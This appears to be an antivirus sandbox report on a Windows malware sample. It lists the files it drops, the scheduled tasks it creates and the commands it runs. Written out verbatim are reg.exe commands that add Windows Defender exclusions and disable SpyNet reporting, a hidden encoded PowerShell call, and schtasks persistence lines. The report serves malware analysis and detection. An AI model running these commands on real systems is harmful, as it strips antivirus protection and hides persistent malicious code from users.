Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\gbsxdqavx
- %WINDIR%\tasks\bgcnbugcqevyasymtx.job
- <SYSTEM32>\tasks\bgcnbugcqevyasymtx
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
Modifies file system
Creates the following files
- %TEMP%\7zse23.tmp\__data__\config.txt
- %TEMP%\7zse23.tmp\install.exe
- %TEMP%\7zs14b8.tmp\install.exe
- <SYSTEM32>\grouppolicy\gpt.ini
- %ALLUSERSPROFILE%\ntuser.pol
- %HOMEPATH%\ntuser.pol
- %TEMP%\jvkozzaoskbrmjdmj\hrdpvkebonxuumm\ahyzcex.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_d4602615-9d50-4880-be41-678935e93eaa
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\tempntuser.pol
- %HOMEPATH%\tempntuser.pol
Deletes the following files
- <SYSTEM32>\tasks\gbsxdqavx
- %HOMEPATH%\tempntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
Moves the following files
- from %ALLUSERSPROFILE%\ntuser.pol to %ALLUSERSPROFILE%\tempntuser.pol
- from %HOMEPATH%\ntuser.pol to %HOMEPATH%\tempntuser.pol
Miscellaneous
Creates and executes the following
- '%TEMP%\7zse23.tmp\install.exe'
- '%TEMP%\7zs14b8.tmp\install.exe' /qDbwldidpjOPL "385118" /S
- '%TEMP%\jvkozzaoskbrmjdmj\hrdpvkebonxuumm\ahyzcex.exe' 9j /mlsite_idJfP 385118 /S
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
- '%TEMP%\jvkozzaoskbrmjdmj\hrdpvkebonxuumm\ahyzcex.exe' 9j /mlsite_idJfP 385118 /S' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Mic...
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\CfpRjxREyOJnpWSZ" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C copy nul "%WINDIR%\Temp\CfpRjxREyOJnpWSZ\CAvmAbDs\pGzLhooHeafsemfP.wsf"
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\CfpRjxREyOJnpWSZ\CAvmAbDs\pGzLhooHeafsemfP.wsf"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\EFNDpZiFOhCU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\EFNDpZiFOhCU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\KXXcOjuAtgUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\KXXcOjuAtgUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\OtohDUDywVyGC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\OtohDUDywVyGC" /t REG_DWORD /d 0 /reg:64
- '<SYSTEM32>\gpupdate.exe' /force
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\nyPfcTgUQuJVMhzqlYR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\yQKBROWTU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\yQKBROWTU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\oiIpeWoYtcXKKeVB" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\oiIpeWoYtcXKKeVB" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\jVKozzaoSkbrMJdmJ" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\jVKozzaoSkbrMJdmJ" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\EFNDpZiFOhCU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\CfpRjxREyOJnpWSZ" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\CfpRjxREyOJnpWSZ" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\CfpRjxREyOJnpWSZ" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\CfpRjxREyOJnpWSZ" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\CfpRjxREyOJnpWSZ" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extens...
- '%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "Sp...
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gbsxDqAVx" /SC once /ST 07:14:13 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gbsxDqAVx"
- '<SYSTEM32>\taskeng.exe' {80DADC9F-A99B-4374-8F76-E874A41CEA89} S-1-5-21-1238866942-1249195528-555854008-1000:bhnnbicduuj\user:Interactive:[1]
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\EFNDpZiFOhCU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\nyPfcTgUQuJVMhzqlYR" /t REG_DWORD /d 0 /reg:64
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gbsxDqAVx"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bgcnbUgcqeVYasYMTx" /SC once /ST 15:41:00 /RU "SYSTEM" /TR "\"%TEMP%\jVKozzaoSkbrMJdmJ\HrdpvKeboNXuUMM\AhYZcex.exe\" 9j /mlsite_idJfP 385118 /S" /V1 /F
- '<SYSTEM32>\raserver.exe' /offerraupdate
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gkvNttuOT" /SC once /ST 12:00:32 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gkvNttuOT"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gkvNttuOT"
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\CfpRjxREyOJnpWSZ" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\CfpRjxREyOJnpWSZ" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Mic...
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\KXXcOjuAtgUn" /t REG_DWORD /d 0 /reg:32
